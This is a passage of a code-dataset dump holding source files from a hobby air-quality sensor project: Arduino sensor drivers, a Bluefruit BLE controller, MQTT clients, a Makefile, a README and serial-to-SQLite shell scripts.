try:\n self.connected_device.waitForNotifications(timeout)\n except btle.BTLEException as e:\n return e\n if not forever:\n return None\n" }, { "alpha_fraction": 0.6147186160087585, "alphanum_fraction": 0.6782106757164001, "avg_line_length": 20, "blob_id": "59ee23dc30ddf4c992d5ec260a9a84de83874844", "content_id": "e64ae7a69ae901907de11062120b3804fd21bd5b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 693, "license_type": "no_license", "max_line_length": 76, "num_lines": 33, "path": "/air-sense/SenBME280IAQ.hpp", "repo_name": "harshbhanushali05/air-quality", "src_encoding": "UTF-8", "text": "#pragma once\n\n#include <Adafruit_BME280.h>\n#include \"SenIAQ.hpp\"\n\n#include \"ISensor.hpp\"\n\n#define BME280_CS 10\n#define BME280_MOSI 11\n#define BME280_MISO 12\n#define BME280_SCK 13\n\nclass SenBME280IAQ : public ISensor {\npublic:\n SenBME280IAQ() : bme(BME280_CS, BME280_MOSI, BME280_MISO, BME280_SCK) {}\n\n int init();\n int read();\n\n float temperature() const { return _temperature; }\n float humidity() const { return _humidity; }\n float pressure() const { return _pressure; }\n float gasresistance() const { return _gasresistance; }\n\nprivate:\n Adafruit_BME280 bme;\n Iaq iaq;\n\n float _temperature;\n float _humidity;\n float _pressure;\n float _gasresistance;\n};\n" }, { "alpha_fraction": 0.5628571510314941, "alphanum_fraction": 0.6257143020629883, "avg_line_length": 14.217391014099121, "blob_id": "51b2d0231210c4dee9c339e8348a4d9e52eb4522", "content_id": "9334ced443d6beb9bb2308645851939b2e2a16a4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 350, "license_type": "no_license", "max_line_length": 45, "num_lines": 23, "path": "/air-sense/SenAnalog.hpp", "repo_name": "harshbhanushali05/air-quality", "src_encoding": "UTF-8", "text": "#pragma once\n\n#include \"Arduino.h\"\n\n#include \"ISensor.hpp\"\n\n#define APIN_LIGHT A1\n//#define APIN_MQ135 A2\n\nclass SenAnalog : public ISensor {\npublic:\n SenAnalog() {}\n\n int init();\n int read();\n\n uint16_t light() const { return _light; }\n uint16_t mq135() const { return _mq135; }\n\nprivate:\n uint16_t _light;\n uint16_t _mq135;\n};\n" }, { "alpha_fraction": 0.5978260636329651, "alphanum_fraction": 0.616847813129425, "avg_line_length": 15.727272987365723, "blob_id": "b09472b7f55f407c6c5edc257351a2daf00ebae0", "content_id": "47a661eb4fca27facdafbba02f2f1317307279e2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 368, "license_type": "no_license", "max_line_length": 35, "num_lines": 22, "path": "/air-pi/legacy/ser2mqtt/Makefile", "repo_name": "harshbhanushali05/air-quality", "src_encoding": "UTF-8", "text": "SRC = $(wildcard *.cpp)\nOBJ = $(SRC:.cpp=.o)\n\nNAME = ser2mqtt\nCXXFLAGS = -Wall -Wextra -std=c++14\nLDFLAGS = -lmosquittopp -lpthread\nPREFIX = /usr/local\n\n$(NAME): $(OBJ)\n\t$(CXX) -o $@ $^ $(LDFLAGS)\n\n.PHONY: clean\nclean:\n\trm -f $(OBJ) $(NAME)\n\n.PHONY: install\ninstall: $(NAME)\n\tinstall -m 0755 $< $(PREFIX)/bin\n\n.PHONY: uninstall\nuninstall:\n\trm -f $(PREFIX)/bin/$(NAME)\n" }, { "alpha_fraction": 0.6006884574890137, "alphanum_fraction": 0.6815834641456604, "avg_line_length": 14.289473533630371, "blob_id": "8db24db659173c0c32f4efed987308c7b7cc604f", "content_id": "28757a1b2f4e7ef31edb700b75b3817a2cc5cbaf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 581, "license_type": "no_license", "max_line_length": 63, "num_lines": 38, "path": "/air-sense/AQManager.hpp", "repo_name": "harshbhanushali05/air-quality", "src_encoding": "UTF-8", "text": "#pragma once\n\n#include \"Arduino.h\"\n\n// Comment the line below to use BME280 + IAQ instead of BME680\n#define BME680\n\n#ifdef BME680\n#include \"SenBME680.hpp\"\n#else // BME280 + IAQ\n#include \"SenBME280IAQ.hpp\"\n#endif\n\n#include \"SenDS18B20.hpp\"\n#include \"SenAnalog.hpp\"\n\n#define LINESZ 256\n#define BUFSZ 64\n\nclass AQManager {\npublic:\n void init();\n void read();\n\n const char* format(int counter=0);\n\nprivate:\n#ifdef BME680\n SenBME680 bme;\n#else // BME280 + IAQ\n SenBME280IAQ bme;\n#endif\n SenDS18B20 ds;\n SenAnalog an;\n\n char line[LINESZ];\n char buf[BUFSZ];\n};\n" }, { "alpha_fraction": 0.42715826630592346, "alphanum_fraction": 0.49640288949012756, "avg_line_length": 19.98113250732422, "blob_id": "7ea5d5c92f17753d18510b3b23ec7c59d9f00158", "content_id": "ac987b35930b7b5a28d0fe26283d5fa63bb0f463", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1112, "license_type": "no_license", "max_line_length": 67, "num_lines": 53, "path": "/air-sense/SenDS18B20.cpp", "repo_name": "harshbhanushali05/air-quality", "src_encoding": "UTF-8", "text": "#include \"SenDS18B20.hpp\"\n\nint SenDS18B20::init() {\n if (!ds.search(addr)) {\n Serial.println(\"No more addresses\");\n ds.reset_search();\n return 1;\n }\n\n Serial.print(\"ROM =\");\n for(int i = 0; i < 8; i++) {\n Serial.write(' ');\n Serial.print(addr[i], HEX);\n }\n\n if (OneWire::crc8(addr, 7) != addr[7]) {\n Serial.println(\"CRC is not valid!\");\n return 1;\n }\n Serial.println();\n\n setId(IDSenDS18B20);\n return 0;\n}\n\nint SenDS18B20::read() {\n if (!getId()) {\n return 1;\n }\n ds.reset();\n ds.select(addr);\n ds.write(0x44, 1);\n\n delay(1000);\n\n ds.reset();\n ds.select(addr);\n ds.write(0xBE); // Read Scratchpad\n\n for (int i = 0; i < 9; i++) {\n data[i] = ds.read();\n }\n\n int16_t raw = (data[1] << 8) | data[0];\n byte cfg = (data[4] & 0x60);\n if (cfg == 0x00) raw = raw & ~7; // 9 bit resolution, 93.75 ms\n else if (cfg == 0x20) raw = raw & ~3; // 10 bit res, 187.5 ms\n else if (cfg == 0x40) raw = raw & ~1; // 11 bit res, 375 ms\n\n _temperature = (float)raw / 16.0;\n\n return 0;\n}\n" }, { "alpha_fraction": 0.5710227489471436, "alphanum_fraction": 0.6193181872367859, "avg_line_length": 13.079999923706055, "blob_id": "c93f504fee16e55675f1a1489abb8b1f0b8e9c47", "content_id": "327cb1bf23530c31ea70429b2cfa9ab4bc181d5c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 352, "license_type": "no_license", "max_line_length": 54, "num_lines": 25, "path": "/air-sense/SenDS18B20.hpp", "repo_name": "harshbhanushali05/air-quality", "src_encoding": "UTF-8", "text": "#pragma once\n\n#include <OneWire.h>\n\n#include \"ISensor.hpp\"\n\n#define DS18B20_PIN 9\n\nclass SenDS18B20 : public ISensor {\npublic:\n SenDS18B20() : ds(9) {}\n\n int init();\n int read();\n\n float temperature() const { return _temperature; }\n\nprivate:\n OneWire ds;\n byte data[12];\n byte addr[8];\n byte type_s;\n\n float _temperature;\n};\n" }, { "alpha_fraction": 0.492250919342041, "alphanum_fraction": 0.5188192129135132, "avg_line_length": 21.966102600097656, "blob_id": "488cb9361880d6b9c56e6c4e85c4a2b143120694", "content_id": "c2fc0763757f2224150b11916c0b5ad5bb326fd6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1355, "license_type": "no_license", "max_line_length": 68, "num_lines": 59, "path": "/air-sense/AQManager.cpp", "repo_name": "harshbhanushali05/air-quality", "src_encoding": "UTF-8", "text": "#include \"AQManager.hpp\"\n\nvoid AQManager::init() {\n bme.init();\n ds.init();\n an.init();\n}\n\nvoid AQManager::read() {\n bme.read();\n ds.read();\n an.read();\n}\n\nconst char* AQManager::format(int counter) {\n line[0] = '\\0';\n snprintf(buf, BUFSZ, \"cnt=%05u\", counter);\n strlcat(line, buf, LINESZ);\n\n if (bme.getId()) {\n snprintf(buf, BUFSZ, \",temp=%04.2f,humi=%05.3f,pres=%07.2f\",\n bme.temperature(),\n bme.humidity(),\n bme.pressure());\n strlcat(line, buf, LINESZ);\n }\n\n if (bme.getId()) {\n snprintf(buf, BUFSZ, \",gasr=%05.0f\", bme.gasresistance());\n strlcat(line, buf, LINESZ);\n }\n\n if (ds.getId()) {\n snprintf(buf, BUFSZ, \",dst=%04.2f\", ds.temperature());\n strlcat(line, buf, LINESZ);\n }\n\n if (an.getId(IDSenALight)) {\n snprintf(buf, BUFSZ, \",ali=%04u\", an.light());\n strlcat(line, buf, LINESZ);\n }\n\n if (an.getId(IDSenAMQ135)) {\n snprintf(buf, BUFSZ, \",amq=%04u\", an.mq135());\n strlcat(line, buf, LINESZ);\n }\n\n // Calculate checksum for transmission\n unsigned sum = 0;\n for (size_t i = 0; i < strlen(line); i++) {\n sum += line[i] * (i+1);\n }\n sum = 0xFF & sum;\n\n snprintf(buf, BUFSZ, \",chk=%03u\\r\\n\", sum);\n strlcat(line, buf, LINESZ);\n\n return &line[0];\n}\n" }, { "alpha_fraction": 0.5248380303382874, "alphanum_fraction": 0.591792643070221, "avg_line_length": 19.130434036254883, "blob_id": "f2dba604ff88b2bf9c60b84d0ae4c86dfd296448", "content_id": "f57348c8e6b42bf85040e4d87a12bebf8d45d121", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 463, "license_type": "no_license", "max_line_length": 50, "num_lines": 23, "path": "/air-sense/SenBME680.cpp", "repo_name": "harshbhanushali05/air-quality", "src_encoding": "UTF-8", "text": "#include \"SenBME680.hpp\"\n\nint SenBME680::init() {\n Serial.println(\"BME init\");\n if (!bme.begin()) {\n setId(IDSenBME680);\n return 0;\n }\n return 1;\n}\n\nint SenBME680::read() {\n bme.startConvert();\n delay(100);\n bme.update();\n\n _temperature = bme.readTemperature() / 100.0F;\n _humidity = bme.readHumidity() / 1000.0F;\n _pressure = bme.readPressure() / 100.0F;\n _gasresistance = bme.readGasResistance();\n\n return 0;\n}\n" }, { "alpha_fraction": 0.6465927362442017, "alphanum_fraction": 0.656101405620575, "avg_line_length": 30.549999237060547, "blob_id": "60dc44e73ad1997eaf6a2526082af5296227d6c6", "content_id": "be03d171ac9c88634f7f944bbfca166ab9d31c56", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 631, "license_type": "no_license", "max_line_length": 65, "num_lines": 20, "path": "/air-pi/connector/lib/output/mqtt.py", "repo_name": "harshbhanushali05/air-quality", "src_encoding": "UTF-8", "text": "import paho.mqtt.client as mqtt\n\nDEFAULT_IP = \"localhost\"\nDEFAULT_PORT = 1883\nDEFAULT_KEEPALIVE = 60\n\n\nclass MqttBroker:\n def __init__(self, ip=DEFAULT_IP, port=DEFAULT_PORT,\n client_id=None, keepalive=DEFAULT_KEEPALIVE):\n self.client = mqtt.Client(client_id=client_id)\n self.client.on_connect = self.__on_connect\n self.client.connect(ip, port, keepalive)\n self.client.loop_start()\n\n def __on_connect(self, client, userdata, flags, rc):\n print(\"MqttBroker connected with result code \" + str(rc))\n\n def publish(self, topic, data):\n self.client.publish(topic, data)\n" }, { "alpha_fraction": 0.7430107593536377, "alphanum_fraction": 0.7629032135009766, "avg_line_length": 37.70833206176758, "blob_id": "ab67c4c1abdd0c9fae208ea2c4b2c10ad46dec1a", "content_id": "9a9a40b31b7eb397616e308d57240ecc66a92025", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1860, "license_type": "no_license", "max_line_length": 174, "num_lines": 48, "path": "/air-pi/ble2mqtt/README.md", "repo_name": "harshbhanushali05/air-quality", "src_encoding": "UTF-8", "text": "# Airpi BLE Controller\nConnects to sensor modules over BLE and reads all incoming sensor data, publishing on the respective MQTT topics.\n\n## Requirements\nThe `airpi_ble` daemon is tested on a Raspberry PI with Raspbian.\nIt should however run on other Linux distributions as well, as it depends on `hcitool` and `gatttool`.\n\nThe following linux packages need to be installed to enable access to bluetooth APIs:\n- `sudo apt install libbluetooth-dev`\n- `sudo apt install libglib2.0-dev`\n\nThe required python3 libraries can be installed automatically via pip, using the `requirements.txt` file\n(a virtualenv is recommended), or manually by executing the following commands:\n- `sudo pip3 install pybluez`\n- `sudo pip3 install bluepy`\n- `sudo pip3 install paho-mqtt`\n\n## Usage\nThe ble controller connects to a predefined BLE module. The address and UUID are hardcoded inside `airpi_ble.py`.\nChange these when coupling a different BLE chip.\n\nBy default, the program attempts to connect to an mqtt broker on localhost. Change this parameter inside `airpi_ble.py` in case the broker is residing on a different machine.\n\nThe ble module can be run as a standalone daemon on the system. Simply run `./airpi_ble.py`\n\n\n*Note: airpi_ble requires sudo rights to run, as the `bluepy` APIs rely on `hcitool` and `gatttool`, which must be run as superuser.*\n\n\n<!--\nUSED ONLY FOR ALTERNATIVE PYTHON LIBS (gattlib)\n\nGattlib requires an additional glib2.0 package, therefore install:\n- `sudo apt install libperl-dev`\n- `sudo apt install libgtk2.0-dev`\n\nor\n- `sudo apt install libglib2.0-dev`\n\nNow we can install gattlib:\n- `sudo apt install libboost-thread-dev`\n- `sudo pip3 install libboost-python-dev`\n\n- `pip3 download gattlib`\n- `tar xvzf ./gattlib-0.20150805.tar.gz`\n-` cd gattlib-0.20150805/`\n- `sed -ie 's/boost_python-py34/boost_python-py35/' setup.py`\n- `pip3 install .`\n\n\n" }, { "alpha_fraction": 0.6139705777168274, "alphanum_fraction": 0.6495097875595093, "avg_line_length": 41.94736862182617, "blob_id": "08e8c89cb9f25f084392fd3bcc8beac9ee5f2bfb", "content_id": "dcd280f15e66846e0ff9d743bf5f0cd8ac200e43", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 816, "license_type": "no_license", "max_line_length": 287, "num_lines": 19, "path": "/air-sense/utils/serial_to_sqlite.sh", "repo_name": "harshbhanushali05/air-quality", "src_encoding": "UTF-8", "text": "#!/usr/bin/env bash\n\nfname=aq\n\n# Create DB without -c (continue)\nif [ \"$1\" != \"-c\" ]; then\n\techo \"create table sensors(id INTEGER PRIMARY KEY NOT NULL, temperature REAL, humidity REAL, pressure REAL, mq135 INTEGER, iaqs INTEGER, co2 INTEGER, tvoc INTEGER, timestamp TIMESTAMP DEFAULT CURRENT_TIMESTAMP NOT NULL);\" | sqlite3 $fname.sqlite\nfi\n\n# Read serial\npicocom -b 115200 /dev/tty.usbmodem2477801 | tee $fname.log &\nsleep 1\n\n# Write to sqlite\ntail -f $fname.log | while read LINE; do\n\techo $LINE |\n\tperl -lne 'm/counter=.+,temperature=(?<t>.+),humidity=(?<h>.+),pressure=(?<p>.+),mq135=(?<m>.+),iaqs=(?<i>.+),co2=(?<c>.+),tvoc=(?<v>.+),chk=.+/; print \"INSERT INTO sensors (temperature, humidity, pressure, mq135, iaqs, co2, tvoc) VALUES ($+{t},$+{h},$+{p},$+{m},$+{i},$+{c},$+{v});\"' |\n\tsqlite3 $fname.sqlite\ndone\n" }, { "alpha_fraction": 0.4680306911468506, "alphanum_fraction": 0.5370844006538391, "avg_line_length": 16.772727966308594, "blob_id": "02215ffec22de346c260bdf515b4fe54a83170d4", "content_id": "0ce7ec2c8771c88f510ab5c0332ff8396117539d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 391, "license_type": "no_license", "max_line_length": 61, "num_lines": 22, "path": "/air-sense/ISensor.hpp", "repo_name": "harshbhanushali05/air-quality", "src_encoding": "UTF-8", "text": "#pragma once\n\nclass ISensor {\npublic:\n virtual int init() = 0;\n virtual int read() = 0;\n\n int getId(int mask = 0xFFFF) const { return mask & _id; }\n\nprotected:\n void setId(int id) { _id = id; }\n\n int _id = 0;\n};\n\nenum SensorId {\n IDSenBME280IAQ = 1 << 0,\n IDSenBME680 = 1 << 1,\n IDSenDS18B20 = 1 << 2,\n IDSenALight = 1 << 3,\n IDSenAMQ135 = 1 << 4\n};\n" }, { "alpha_fraction": 0.5857805013656616, "alphanum_fraction": 0.5981453061103821, "avg_line_length": 23.884614944458008, "blob_id": "46eb92539effea4b5f351da6a6133915d2f6c9ba", "content_id": "072abb499a6363b8e106300062a41455919c1e4b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 647, "license_type": "no_license", "max_line_length": 92, "num_lines": 26, "path": "/air-pi/legacy/ser2mqtt/Mqtt.hpp", "repo_name": "harshbhanushali05/air-quality", "src_encoding": "UTF-8", "text": "#pragma once\n\n#include <mosquittopp.h>\n#include <semaphore.h>\n\nclass Mqtt : public mosqpp::mosquittopp\n{\n public:\n Mqtt(const char* id, const char* host, const int port=1883, const int keepalive=60);\n ~Mqtt();\n\n bool pub(const char* topic, const char* message);\n bool sub(const char* topic);\n void read(char* buffer, size_t size);\n void wait();\n\n private:\n // Callbacks\n void on_connect(int rc);\n void on_disconnect(int rc);\n void on_publish(int mid);\n void on_message(const struct mosquitto_message* message);\n\n sem_t msg_sem;\n char msg_buf[20];\n};\n" }, { "alpha_fraction": 0.5423076748847961, "alphanum_fraction": 0.5523668527603149, "avg_line_length": 45.301368713378906, "blob_id": "2ad0f7a5cbbc6abeaf179cc3c24f2749ecf9431b", "content_id": "b495024f934181bb530d5ae7e691729ffec0ee07", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3428, "license_type": "no_license", "max_line_length": 115, "num_lines": 73, "path": "/air-sense/src/bluefruit/BluefruitController.hpp", "repo_name": "harshbhanushali05/air-quality", "src_encoding": "UTF-8", "text": "#pragma once\n\n#include \"Adafruit_BLE.h\"\n#include \"Adafruit_BluefruitLE_SPI.h\"\n#include \"Adafruit_BluefruitLE_UART.h\"\n//#include \"Adafruit_BLEGatt.h\"\n\n#include \"BluefruitConfiguration.h\"\n\n#if SOFTWARE_SERIAL_AVAILABLE\n #include <SoftwareSerial.h>\n#endif\n\n/*=========================================================================\n APPLICATION SETTINGS\n\n    FACTORYRESET_ENABLE    Perform a factory reset when running this sketch\n   \n    Enabling this will put your Bluefruit LE module\n in a 'known good' state and clear any config\n data set in previous sketches or projects, so\n    running this at least once is a good idea.\n   \n    When deploying your project, however, you will\n want to disable factory reset by setting this\n value to 0.  If you are making changes to your\n    Bluefruit LE device via AT commands, and those\n changes aren't persisting across resets, this\n is the reason why.  Factory reset will erase\n the non-volatile memory where config data is\n stored, setting it back to factory default\n values.\n       \n    Some sketches that require you to bond to a\n central device (HID mouse, keyboard, etc.)\n won't work at all with this feature enabled\n since the factory reset will clear all of the\n bonding data stored on the chip, meaning the\n central device won't be able to reconnect.\n MINIMUM_FIRMWARE_VERSION Minimum firmware version to have some new features\n MODE_LED_BEHAVIOUR LED activity, valid options are\n \"DISABLE\" or \"MODE\" or \"BLEUART\" or\n \"HWUART\" or \"SPI\" or \"MANUAL\"\n -----------------------------------------------------------------------*/\n #define FACTORYRESET_ENABLE 1\n #define MINIMUM_FIRMWARE_VERSION \"0.6.7\"\n #define MODE_LED_BEHAVIOUR \"MODE\"\n/*=========================================================================*/\n\nclass BluefruitController {\npublic:\n BluefruitController() {};\n void setup();\n void reset();\n void factoryReset();\n void getAddress(char * buffer);\n void getPeerAddress(char * buffer);\n void setName(const char * name);\n bool isConnectable();\n void setConnectable(bool connectable);\n bool isConnected();\n void iBeacon(uint16_t manufacturerId, const char * uuid, uint16_t major, uint16_t minor, uint8_t rssi);\n void eddystone();\n void advertise(bool enable);\n void addService(uint16_t uuid);\n void addService(const char * uuid);\n uint32_t addCharacteristic(uint16_t uuid, uint8_t properties, uint8_t minLength = 1, uint8_t maxLength = 20);\n uint32_t addCharacteristic(const char * uuid, uint8_t properties, uint8_t minLength = 1, uint8_t maxLength = 20);\n void setCharacteristic(uint32_t charId, const char * data);\n void sendData(const char * data);\nprivate:\n Adafruit_BluefruitLE_SPI ble {BLUEFRUIT_SPI_CS, BLUEFRUIT_SPI_IRQ, BLUEFRUIT_SPI_RST};\n};\n" }, { "alpha_fraction": 0.6209816932678223, "alphanum_fraction": 0.6400384902954102, "avg_line_length": 25.23737335205078, "blob_id": "784d0fc506f4c5b14d123d78bb0aeccdcc5b136d", "content_id": "a7a268ebb54591ad2233e0395f43117e349a0b2e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 5195, "license_type": "no_license", "max_line_length": 150, "num_lines": 198, "path": "/air-sense/src/bluefruit/BluefruitController.cpp", "repo_name": "harshbhanushali05/air-quality", "src_encoding": "UTF-8", "text": "#ifdef ARDUINO_ARCH_SAMD\n#include \"BluefruitController.hpp\"\n\nvoid error(const char * err) {\n Serial.println(F(err));\n Serial.println();\n}\n\nvoid BluefruitController::setup() {\n if ( !ble.begin(VERBOSE_MODE) ){\n error(\"Couldn't start Bluefruit. Check wiring?\");\n }\n if (BLUEFRUIT_FACTORY_RESET) {\n factoryReset();\n }\n setName(BLUEFRUIT_DEVICE_NAME);\n if (BLUEFRUIT_BEACON_ENABLED) {\n iBeacon(MANUFACTURER_APPLE, BEACON_UUID, BEACON_MAJOR, BEACON_MINOR, BEACON_RSSI_1M);\n }\n ble.reset();\n}\n\nvoid BluefruitController::reset() {\n if (!ble.reset()) {\n error(\"Couldn't reset Bluefruit!\");\n }\n}\n\nvoid BluefruitController::factoryReset() {\n if (!ble.factoryReset()) {\n error(\"Couldn't factory reset\");\n }\n\n ble.echo(false);\n ble.info();\n}\n\nvoid BluefruitController::setName(const char * name) {\n ble.print(\"AT+GAPDEVNAME=\");\n ble.print(name);\n ble.println();\n\n if (!ble.waitForOK()) {\n error(\"Couldn't change the name of the Bluetooth controller!\");\n }\n}\n\nvoid BluefruitController::getAddress(char * buffer) {\n ble.println(\"AT+BLEGETADDR\");\n ble.readline();\n if (strcmp(\"ERROR\", ble.buffer) != 0) {\n strncpy(buffer, ble.buffer, 20);\n } else {\n memset(buffer, 0, 20);\n }\n}\n\nvoid BluefruitController::getPeerAddress(char * buffer) {\n ble.println(\"AT+BLEGETPEERADDR\");\n ble.readline();\n if (strcmp(\"ERROR\", ble.buffer) != 0) {\n strncpy(buffer, ble.buffer, 20);\n } else {\n memset(buffer, 0, 20);\n }\n}\n\nbool BluefruitController::isConnectable() {\n ble.println(\"AT+GAPCONNECTABLE=?\");\n ble.readline();\n int res = atoi(ble.buffer);\n return res == 1;\n}\n\nvoid BluefruitController::setConnectable(bool connectable) {\n ble.print(\"AT+GAPCONNECTABLE=\");\n ble.print(connectable);\n ble.println();\n\n if (!ble.waitForOK()) {\n error(\"Couldn't set connectable mode\");\n }\n}\n\nbool BluefruitController::isConnected() {\n return ble.isConnected();\n}\n\nvoid BluefruitController::iBeacon(uint16_t manufacturerId, const char * uuid, uint16_t major, uint16_t minor, uint8_t rssi) {\n ble.print(\"AT+BLEBEACON=\" );\n ble.print(manufacturerId ); ble.print(',');\n ble.print(uuid ); ble.print(',');\n ble.print(major ); ble.print(',');\n ble.print(minor ); ble.print(',');\n ble.print(rssi );\n ble.println();\n\n if (!ble.waitForOK()) {\n error(\"Couldn't start iBeacon!\");\n }\n}\n\nvoid BluefruitController::eddystone() {\n //TODO: implement\n error(\"eddystone function is not implemented\");\n}\n\nvoid BluefruitController::advertise(bool enable) {\n if (enable) {\n ble.println(\"AT+GAPSTARTADV\");\n } else {\n ble.println(\"AT+GAPSTOPADV\");\n }\n if (!ble.waitForOK()) {\n error(\"Couldn't force advertising!\");\n }\n}\n\nvoid BluefruitController::addService(uint16_t uuid) {\n char service [32] = {0};\n int32_t serviceId = 0;\n snprintf(service, 31, \"AT+GATTADDSERVICE=UUID=%#x\", uuid);\n Serial.println(service);\n if (!ble.sendCommandWithIntReply(service, &serviceId)) {\n error(\"Couldn't setup service!\");\n }\n}\n\nvoid BluefruitController::addService(const char * uuid) {\n char service [32] = {0};\n int32_t serviceId = 0;\n snprintf(service, 31, \"AT+GATTADDSERVICE=UUID=0x%s\", uuid);\n Serial.println(service);\n if (!ble.sendCommandWithIntReply(service, &serviceId)) {\n error(\"Couldn't setup service!\");\n }\n}\n\nuint32_t BluefruitController::addCharacteristic(const char * uuid, uint8_t properties, uint8_t minLength, uint8_t maxLength) {\n char characteristic [96] = {0};\n int32_t charId = 0;\n snprintf(characteristic, 95, \"AT+GATTADDCHAR=UUID=%s, PROPERTIES=%#x, MIN_LEN=%u, MAX_LEN=%u\", uuid, properties, minLength, maxLength);\n Serial.println(characteristic);\n if (!ble.sendCommandWithIntReply(characteristic, &charId)) {\n error(\"Couldn't setup characteristic!\");\n }\n return charId;\n}\n\nuint32_t BluefruitController::addCharacteristic(uint16_t uuid, uint8_t properties, uint8_t minLength, uint8_t maxLength) {\n char characteristic [96] = {0};\n int32_t charId = 0;\n snprintf(characteristic, 95, \"AT+GATTADDCHAR=UUID=%#x, PROPERTIES=%#x, MIN_LEN=%u, MAX_LEN=%u, DATATYPE=1\", uuid, properties, minLength, maxLength);\n Serial.println(characteristic);\n if (!ble.sendCommandWithIntReply(characteristic, &charId)) {\n error(\"Couldn't setup characteristic!\");\n }\n return charId;\n}\n\nvoid BluefruitController::setCharacteristic(uint32_t charId, const char * data) {\n // char preparedData[256] = {0};\n char output[21] = {0};\n // prepareData(data, preparedData);\n int i=0, j=0;\n while (data[i] != '\\0') {\n output[j++] = data[i++];\n if (j >= 20 || data[i] == '\\0') {\n output[j] = '\\0';\n ble.print(\"AT+GATTCHAR=\");\n ble.print(charId);\n ble.print(\",\");\n ble.println(output);\n j=0;\n }\n }\n}\n\nvoid BluefruitController::sendData(const char * data) {\n char output[256] = {0};\n int i=0, j=0;\n while (data[i] != '\\0' && j < 240) { //240 max length allowed by bluetooth buffer\n if (data[i] == '\\r') {\n output[j++] = '\\\\';\n output[j++] = 'r';\n } else if (data[i] == '\\n') {\n output[j++] = '\\\\';\n output[j++] = 'n';\n } else {\n output[j++] = data[i];\n }\n i++;\n }\n ble.print(\"AT+BLEUARTTX=\");\n ble.println(output);\n}\n\n#endif\n" }, { "alpha_fraction": 0.25641027092933655, "alphanum_fraction": 0.39743590354919434, "avg_line_length": 25, "blob_id": "e71e920e6a444f55c003b229373189dae3ba50ff", "content_id": "5ab972c88db64d426ad19033c47e26cebd098201", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 78, "license_type": "no_license", "max_line_length": 66, "num_lines": 3, "path": "/air-sense/utils/serial_readable_to_csv.sh", "repo_name": "harshbhanushali05/air-quality", "src_encoding": "UTF-8", "text": "#!/bin/sh\n\npicocom -b 115200 $1 | sed -E 's/ [^ ,.0-9]+,? {0,3}/,/g; s/,$//;'\n" }, { "alpha_fraction": 0.5997088551521301, "alphanum_fraction": 0.6026200652122498, "avg_line_length": 21.161291122436523, "blob_id": "583cc7b99e7fcdcfffddf6217ded1d86c80035f7", "content_id": "8ec0895b971c2c6c73632e2477a3b11c97b43c11", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1374, "license_type": "no_license", "max_line_length": 109, "num_lines": 62, "path": "/air-pi/legacy/ser2mqtt/Mqtt.cpp", "repo_name": "harshbhanushali05/air-quality", "src_encoding": "UTF-8", "text": "#include \"Mqtt.hpp\"\n\n#include <cstring>\n#include <cstdio>\n\nMqtt::Mqtt(const char* id, const char* host, const int port, const int keepalive) : mosqpp::mosquittopp(id) {\n sem_init(&msg_sem, 0, 0);\n\n mosqpp::lib_init();\n connect(host, port, keepalive);\n loop_start();\n}\n\nMqtt::~Mqtt() {\n while (want_write()) ;\n disconnect();\n loop_stop();\n mosqpp::lib_cleanup();\n}\n\nbool Mqtt::pub(const char* topic, const char* message) {\n int ret = publish(NULL, topic, strlen(message), message, 1, false);\n return (ret == MOSQ_ERR_SUCCESS);\n}\n\nbool Mqtt::sub(const char* topic) {\n int ret = subscribe(NULL, topic);\n return (ret == MOSQ_ERR_SUCCESS);\n}\n\nvoid Mqtt::read(char* buffer, size_t size) {\n strncpy(buffer, msg_buf, size);\n}\n\nvoid Mqtt::wait() {\n sem_wait(&msg_sem);\n}\n\n// Callbacks\nvoid Mqtt::on_connect(int rc) {\n if (rc == 0) {\n printf(\"Mqtt: Connected\\n\");\n } else {\n printf(\"Mqtt: Connect failed\\n\");\n }\n};\n\nvoid Mqtt::on_disconnect(int rc) {\n printf(\"Mqtt: Disconnected %d\\n\", rc);\n};\n\nvoid Mqtt::on_publish(int mid) {\n printf(\"Mqtt: Publish #%d\\n\", mid);\n};\n\nvoid Mqtt::on_message(const struct mosquitto_message* message) {\n char* msg = (char*) message->payload;\n printf(\"Mqtt: Message received '%s'\\n\", msg);\n strncpy(msg_buf, msg, sizeof(msg_buf));\n\n sem_post(&msg_sem);\n}\n" }, { "alpha_fraction": 0.5393848419189453, "alphanum_fraction": 0.5438859462738037, "avg_line_length": 28.622222900390625, "blob_id": "f659171b9d40993b2a9e182461ce6804d62edb34", "content_id": "eab9ecc139a374bde56862c8f574d60fc39c9a84", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2666, "license_type": "no_license", "max_line_length": 96, "num_lines": 90, "path": "/air-pi/ble2mqtt/sensor_manager.py", "repo_name": "harshbhanushali05/air-quality", "src_encoding": "UTF-8", "text": "import time\n\n\ndef str2int(value):\n try:\n return int(value)\n except ValueError:\n return None\n\n\ndef str2float(value):\n try:\n return float(value)\n except ValueError:\n return None\n\n\nclass Sensor:\n def __init__(self, name):\n self.name = name\n self.data_timestamp = None\n self.on_sensor_data = None\n self.data = None\n\n def read_new_data(self, data):\n self.data_timestamp = time.time()\n self.data = str2int(data)\n if not self.data:\n self.data = str2float(data)\n if not self.data:\n self.data = data\n if self.on_sensor_data:\n self.on_sensor_data(self.name, self.data)\n\n\nclass SensorManager:\n def __init__(self):\n self.raw_data = bytearray()\n self.sensors = 